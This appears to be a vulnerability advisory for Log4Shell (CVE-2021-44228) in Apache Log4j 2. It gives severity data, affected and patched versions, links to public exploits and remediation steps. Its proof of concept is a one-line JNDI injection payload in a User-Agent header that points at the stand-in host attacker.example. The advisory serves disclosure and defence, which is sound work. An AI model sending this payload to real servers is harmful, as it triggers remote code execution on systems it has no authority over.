---
id: CVE-2021-44228
title: 'Log4Shell: JNDI RCE in Apache Log4j 2'
summary: >-
  Log4j 2 evaluates ${jndi:...} lookups in logged strings, allowing an attacker
  who controls any logged value to load and execute remote code via LDAP/RMI.
  Trivial to exploit, ubiquitous, and mass-exploited within hours of disclosure.
severity: critical
cvss: 10
cvssVector: 'CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H'
cwe: CWE-502
vendor: Apache
product: Log4j 2
platforms:
  - Java
affected:
  - '>=2.0-beta9 <2.15.0'
patched:
  - 2.17.1
exploited: true
zeroDay: true
epss: 0.99999
epssPercentile: 1
kev: true
kevDateAdded: '2021-12-10'
kevDueDate: '2021-12-24'
kevRansomware: true
source: NVD
sourceUrl: 'https://nvd.nist.gov/vuln/detail/CVE-2021-44228'
references:
  - url: 'https://logging.apache.org/log4j/2.x/security.html'
    label: Apache Log4j security page
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2021-44228'
    label: NVD
tags:
  - log4j
  - rce
  - jndi
  - in-the-wild
  - java
  - kev
  - exploit-available
exploitAvailable: true
exploits:
  exploitdb: true
  github: 452
  githubRepos:
    - 'https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce'
    - 'https://github.com/Glease/Healer'
    - 'https://github.com/jacobtread/L4J-Vuln-Patch'
  metasploit:
    - auxiliary/scanner/http/log4shell_scanner
    - exploit/linux/http/mobileiron_core_log4shell
    - exploit/multi/http/log4shell_header_injection
    - exploit/multi/http/ubiquiti_unifi_log4shell
    - exploit/multi/http/vmware_vcenter_log4shell
  nuclei:
    - CVE-2021-44228
  checkedAt: '2026-09-21T15:23:22.254Z'
---

## Overview

Apache Log4j 2 supports message lookups, including a `${jndi:...}` form. When an
attacker-controlled string containing `${jndi:ldap://attacker/x}` is logged, Log4j
resolves the JNDI reference, fetches a remote class, and executes it — full
**unauthenticated remote code execution**.

Because applications routinely log untrusted input (User-Agent, headers, form fields,
usernames), the attack surface is enormous.

## Proof of concept

```text
User-Agent: ${jndi:ldap://attacker.example/a}
```

Any code path that logs the header triggers the lookup.

## Affected versions

All `2.0-beta9` through `2.14.1`. The complete fix is **2.17.1** (earlier 2.15/2.16
patches were incomplete — see CVE-2021-45046, CVE-2021-45105).

## Remediation

1. Upgrade Log4j to **2.17.1+**.
2. If you cannot upgrade: remove the `JndiLookup` class —
   `zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class`.
3. Block outbound LDAP/RMI from app servers as defense in depth.
4. Hunt logs for `jndi:` strings and unexpected outbound LDAP connections.

## References

- Apache Log4j security: <https://logging.apache.org/log4j/2.x/security.html>
- NVD: <https://nvd.nist.gov/vuln/detail/CVE-2021-44228>